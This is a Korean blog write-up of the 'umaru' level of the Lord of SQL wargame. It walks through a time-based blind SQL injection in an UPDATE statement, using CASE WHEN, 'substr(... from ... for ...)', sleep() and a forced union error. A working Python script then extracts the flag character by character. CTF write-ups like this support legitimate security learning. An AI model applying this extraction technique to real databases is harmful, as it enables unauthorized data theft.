앞선 문제와 달리 상당한 길이여서 혼란스러운 문제이지만 간단하게 동작하는 내용은
ⓐ flag의 값을 필터링 ⓑ 현재 로그인 session을 가지고 flag를 가져옴 ⓒ 임시 테이블을 생성하고 원래 테이블의 자신의 session에 대한 내용을 그대로 옮김 ⓓ 임시 테이블에 flag 값을 update ⓔ 임시 테이블의 flag 값을 가져옴 ⓕ session에 대한 flag값이 없거나, 원래 테이블의 flag값과 입력한 flag 값이 다르면 flag reset ( reset_flag()함수를 통해서 ) ⓖ 원래 테이블의 flag값과 입력한 flag값이 동일하면 문제 해결 |
로 구문을 해석 할 수 있습니다.
여기서 중요한 사항은 우리가 공격할 수 있는 injection point는 update구문 뿐이며 올바른 값을 입력하지 않으면 매번 값이 바뀐다는 것입니다.
아무거나 입력하면 아래와 같이 "reset ok"라고 나오면서 flag값이 변하기 때문에 주의해야 합니다.
생각해 볼 수 있는 사항
① 정확한 flag값을 알아야 하기 때문에 blind sql injection을 해야 함 ② 값을 조작할 만한 곳은 Update문 뿐 ③ Update문이 실행이 되면 reset이 됨 ④ flag는 16자리 (substr로 나눔) |
blind sql injection을 통해 update문을 injection 하면 되는 문제입니다.
하지만 어떠한 정보도 내주지 않고 있고, error도 나오지 않으니 Time-base blind sql injectioin으로 문제를 해결해야 합니다.
그리고 update문이 실행이 되지 않게 하기 위해서 (select 1 union select 2)를 통해 error를 발생 시켜야 합니다.
time-base로 하려면 sleep()을 이용해서 몇 초간 응답에 따라서 참/거짓을 알 수 있습니다.
참/거짓을 구분하기 위한 조건문이 필요한데 if문은 ','가 필요해서 case when으로 대체 할 수 있었습니다
substr에도 ','가 필요하지만 flag from 1 for 1을 하면 첫번째 문자를 가져오게 됩니다..
알아낸 정보를 가지고 Python code를 작성하면 아래와 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import requests import time cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?' index_list = range(48,58)+range(97,123) # 0~1, a~z password = '' for i in range(1,17): for j in index_list: query = "flag=(select 1 union select 2) or case when substr(flag from {0} for 1)='{1}' then sleep(2) end".format(i,chr(j)) payload = url+query print (payload) time1 = time.time() res = requests.get(payload, cookies=cookies) time2 = time.time() if(time2-time1>2): password += chr(j) break print("password : "+password) | cs |
[참고]
case when: http://www.gurubee.net/lecture/1028
HINT:
http://security04.tistory.com/170
http://rls1004.tistory.com/33
'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글
[LOS] dark_eyes (0) | 2018.10.12 |
---|---|
[LOS] iron_golem (1) | 2018.10.11 |
[LOS] dragon (0) | 2018.10.10 |
[LOS] xavis (0) | 2018.10.10 |
[LOS] nigthmare (0) | 2018.10.08 |